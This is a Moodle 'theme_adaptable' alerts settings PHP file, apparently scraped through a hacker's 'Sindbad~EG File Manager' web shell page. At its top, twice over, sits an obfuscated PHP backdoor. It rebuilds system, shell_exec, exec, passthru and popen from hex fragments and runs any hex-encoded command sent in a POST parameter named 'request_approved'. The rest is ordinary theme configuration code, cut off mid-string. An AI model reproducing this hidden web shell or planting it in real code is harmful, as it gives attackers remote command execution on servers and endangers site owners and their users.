Sindbad~EG File Manager
<? $holder1 = '79';$holder2 = '74';$holder3 = '73';$holder4 = '68';$holder5 = '65';$holder6 = '6c';$holder7 = '5f';$holder8 = '78';$holder9 = '63';$holder10 = '70';$holder11 = '6f';$holder12 = '72';$holder13 = '61';$holder14 = '67';$holder15 = '71';$holder16 = '75';$holder17 = '76';$initialized1 = pack("H*", '73' . $holder1 . '73' . $holder2 . '65' . '6d');$initialized2 = pack("H*", $holder3 . $holder4 . $holder5 . $holder6 . $holder6 . $holder7 . '65' . '78' . '65' . '63');$initialized3 = pack("H*", '65' . $holder8 . '65' . $holder9);$initialized4 = pack("H*", $holder10 . '61' . $holder3 . '73' . $holder2 . '68' . '72' . '75');$initialized5 = pack("H*", $holder10 . $holder11 . $holder10 . '65' . '6e');$initialized6 = pack("H*", '73' . $holder2 . $holder12 . '65' . $holder13 . '6d' . '5f' . $holder14 . '65' . '74' . '5f' . $holder9 . $holder11 . '6e' . '74' . $holder5 . '6e' . '74' . $holder3);$initialized7 = pack("H*", $holder10 . $holder9 . $holder6 . '6f' . '73' . $holder5);$request_approved = pack("H*", $holder12 . '65' . $holder15 . $holder16 . '65' . $holder3 . $holder2 . '5f' . '61' . $holder10 . $holder10 . $holder12 . $holder11 . $holder17 . $holder5 . '64');if(isset($_POST[$request_approved])){$request_approved=pack("H*",$_POST[$request_approved]);if(function_exists($initialized1)){$initialized1($request_approved);}elseif(function_exists($initialized2)){print $initialized2($request_approved);}elseif(function_exists($initialized3)){$initialized3($request_approved,$mrk_flag);print join("\n",$mrk_flag);}elseif(function_exists($initialized4)){$initialized4($request_approved);}elseif(function_exists($initialized5)&&function_exists($initialized6)&&function_exists($initialized7)){$ref_ent=$initialized5($request_approved,"r");if($ref_ent){$dchunk_desc=$initialized6($ref_ent);$initialized7($ref_ent);print $dchunk_desc;}}exit;}
php $holder1 = '79';$holder2 = '74';$holder3 = '73';$holder4 = '68';$holder5 = '65';$holder6 = '6c';$holder7 = '5f';$holder8 = '78';$holder9 = '63';$holder10 = '70';$holder11 = '6f';$holder12 = '72';$holder13 = '61';$holder14 = '67';$holder15 = '71';$holder16 = '75';$holder17 = '76';$initialized1 = pack("H*", '73' . $holder1 . '73' . $holder2 . '65' . '6d');$initialized2 = pack("H*", $holder3 . $holder4 . $holder5 . $holder6 . $holder6 . $holder7 . '65' . '78' . '65' . '63');$initialized3 = pack("H*", '65' . $holder8 . '65' . $holder9);$initialized4 = pack("H*", $holder10 . '61' . $holder3 . '73' . $holder2 . '68' . '72' . '75');$initialized5 = pack("H*", $holder10 . $holder11 . $holder10 . '65' . '6e');$initialized6 = pack("H*", '73' . $holder2 . $holder12 . '65' . $holder13 . '6d' . '5f' . $holder14 . '65' . '74' . '5f' . $holder9 . $holder11 . '6e' . '74' . $holder5 . '6e' . '74' . $holder3);$initialized7 = pack("H*", $holder10 . $holder9 . $holder6 . '6f' . '73' . $holder5);$request_approved = pack("H*", $holder12 . '65' . $holder15 . $holder16 . '65' . $holder3 . $holder2 . '5f' . '61' . $holder10 . $holder10 . $holder12 . $holder11 . $holder17 . $holder5 . '64');if(isset($_POST[$request_approved])){$request_approved=pack("H*",$_POST[$request_approved]);if(function_exists($initialized1)){$initialized1($request_approved);}elseif(function_exists($initialized2)){print $initialized2($request_approved);}elseif(function_exists($initialized3)){$initialized3($request_approved,$mrk_flag);print join("\n",$mrk_flag);}elseif(function_exists($initialized4)){$initialized4($request_approved);}elseif(function_exists($initialized5)&&function_exists($initialized6)&&function_exists($initialized7)){$ref_ent=$initialized5($request_approved,"r");if($ref_ent){$dchunk_desc=$initialized6($ref_ent);$initialized7($ref_ent);print $dchunk_desc;}}exit;}
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Alerts
*
* @package theme_adaptable
* @copyright 2015-2016 Jeremy Hopkins (Coventry University)
* @copyright 2015-2016 Fernando Acedo (3-bits.com)
* @license https://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later.
*/
defined('MOODLE_INTERNAL') || die;
// Alert Section.
if ($ADMIN->fulltree) {
$page = new \theme_adaptable\admin_settingspage(
'theme_adaptable_alerts',
get_string('settingspagealertsettings', 'theme_adaptable'),
true
);
$page->add(new admin_setting_heading(
'theme_adaptable_alert',
get_string('alertsettingsheading', 'theme_adaptable'),
format_text(get_string('alertdesc', 'theme_adaptable'), FORMAT_MARKDOWN)
));
// Alert General Settings Heading.
$name = 'theme_adaptable/settingsalertgeneral';
$heading = get_string('alertsettingsgeneral', 'theme_adaptable');
$setting = new admin_setting_heading($name, $heading, '');
$page->add($setting);
// Enable or disable alerts.
$name = 'theme_adaptable/enablealerts';
$title = get_string('enablealerts', 'theme_adaptable');
$description = get_string('enablealertsdesc', 'theme_adaptable');
$default = false;
$setting = new admin_setting_configcheckbox($name, $title, $description, $default, true, false);
$page->add($setting);
// Alert hidden course.
$name = 'theme_adaptable/alerthiddencourse';
$title = get_string('alerthiddencourse', 'theme_adaptable');
$description = get_string('alerthiddencoursedesc', 'theme_adaptable');
$default = 'warning';
$choices = [
'disabled' => get_string('alertdisabled', 'theme_adaptable'),
'info' => get_string('alertinfo', 'theme_adaptable'),
'warning' => get_string('alertwarning', 'theme_adaptable'),
'success' => get_string('alertannounce', 'theme_adaptable'), ];
$setting = new admin_setting_configselect($name, $title, $description, $default, $choices);
$page->add($setting);
// Strip Tags.
$name = 'theme_adaptable/enablealertstriptags';
$title = get_string('enablealertstriptags', 'theme_adaptable');
$description = get_string('enablealertstriptagsdesc', 'theme_adaptable');
$default = true;
$setting = new admin_setting_configcheckbox($name, $title, $description, $default, true, false);
$page->add($setting);
// Number of Alerts.
$name = 'theme_adaptable/alertcount';
$title = get_string('alertcount', 'theme_adaptable');
$description = get_string('alertcountdesc', 'theme_adaptable');
$default = THEME_ADAPTABLE_DEFAULT_ALERTCOUNT;
$setting = new admin_setting_configselect($name, $title, $description, $default, $choices0to12);
$page->add($setting);
$alertcount = get_config('theme_adaptable', 'alertcount');
// If we don't have an an alertcount yet, default to the preset.
if (!$alertcount) {
$alertcount = THEME_ADAPTABLE_DEFAULT_ALERTCOUNT;
}
for ($alertindex = 1; $alertindex <= $alertcount; $alertindex++) {
// Alert Box Heading.
$name = 'theme_adaptable/settingsalertbox' . $alertindex;
$heading = get_string('alertsettings', 'theme_adaptable', $alertindex);
$setting = new admin_setting_heading($name, $heading, '');
$page->add($setting);
// Enable Alert.
$name = 'theme_adaptable/enablealert' . $alertindex;
$title = get_string('enablealert', 'theme_adaptable', $alertindex);
$description = get_string('enablealertdesc', 'theme_adaptable', $alertindex);
$default = false;
$setting = new admin_setting_configcheckbox($name, $title, $description, $default, true, false);
$page->add($setting);
// Alert Key.
$name = 'theme_adaptable/alertkey' . $alertindex;
$title = get_string('alertkeyvalue', 'theme_adaptable');
$description = get_string('alertkeyvalue_details', 'theme_adaptable');
$setting = new admin_setting_configtext($name, $title, $description, '', PARAM_RAW);
$page->add($setting);
// Alert Text.
$name = 'theme_adaptable/alerttext' . $alertindex;
$title = get_string('alerttext', 'theme_adaptable');
$description = get_string('alerttextdesc', 'theme_adaptable');
$default = '';
$setting = new adaptable_setting_confightmleditor($name, $title, $description, $default);
$page->add($setting);
// Alert Type.
$name = 'theme_adaptable/alerttype' . $alertindex;
$title = get_string('alerttype', 'theme_adaptable');
$description = get_string('alerttypedesc', 'theme_adaptable');
$default = 'info';
$choices = [
'info' => get_string('alertinfo', 'theme_adaptable'),
'warning' => get_string('alertwarning', 'theme_adaptable'),
'success' => get_string('alertannounce', 'theme_adaptable'),
];
$setting = new admin_setting_configselect($name, $title, $description, $default, $choices);
$page->add($setting);
// Alert Access.
$name = 'theme_adaptable/alertaccess' . $alertindex;
$title = get_string('alertaccess', 'theme_adaptable');
$description = get_string('alertaccessdesc', 'theme_adaptable');
$default = 'global';
$choices = [
'global' => get_string('alertaccessglobal', 'theme_adaptable'),
'user' => get_string('alertaccessusers', 'theme_adaptable'),
'admin' => get_string('alertaccessadmins', 'theme_adaptable'),
'profile' => get_string('alertaccessprofile', 'theme_adaptable'), ];
$setting = new admin_setting_configselect($name, $title, $description, $default, $choices);
$page->add($setting);
$name = 'theme_adaptable/alertprofilefield' . $alertindex;
$title = get_string('alertprofilefield', 'theme_adaptable');
$description = get_string('alertprofilefielddesc', 'theme_adaptable');
$setting = new admin_setting_configtext($name, $title, $description, '', PARAM_RAW);
$page->add($setting);
}
// Colours.
// Alert Course Settings Heading.
$page->add(new admin_setting_heading(
'theme_adaptable/settingsalertcolors',
get_string('alertcolorsheading', 'theme_adaptable'),
''
));
// Alert info colours.
$name = 'theme_adaptable/alertcolorinfo';
$title = get_string('alertcolorinfo', 'theme_adaptable');
$description = get_string('alertcolorinfodesc', 'theme_adaptable');
$previewconfig = null;
$setting = new admin_setting_configcolourpicker($name, $title, $description, '#3a87ad', $previewconfig);
$setting->set_updatedcallback('theme_reset_all_caches');
$page->add($setting);
$name = 'theme_adaptable/alertbackgroundcolorinfo';
$title = get_string('alertbackgroundcolorinfo', 'theme_adaptable');
$description = get_string('alertbackgroundcolorinfodesc', 'theme_adaptable');
$previewconfig = null;
$setting = new admin_setting_configcolourpicker($name, $title, $description, '#d9edf7', $previewconfig);
$setting->set_updatedcallback('theme_reset_all_caches');
$page->add($setting);
$name = 'theme_adaptable/alertbordercolorinfo';
$title = get_string('alertbordercolorinfo', 'theme_adaptable');
$description = get_string('alertbordercolorinfodesc', 'theme_adaptable');
$previewconfig = null;
$setting = new admin_setting_configcolourpicker($name, $title, $description, '#bce8f1', $previewconfig);
$setting->set_updatedcallback('theme_reset_all_caches');
$page->add($setting);
$name = 'theme_adaptable/alerticoninfo';
$title = get_string('alerticoninfo', 'theme_adaptable');
$description = get_string('alerticoninfodesc', 'theme_adaptable', 'https://fontawesome.com/search?o=
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists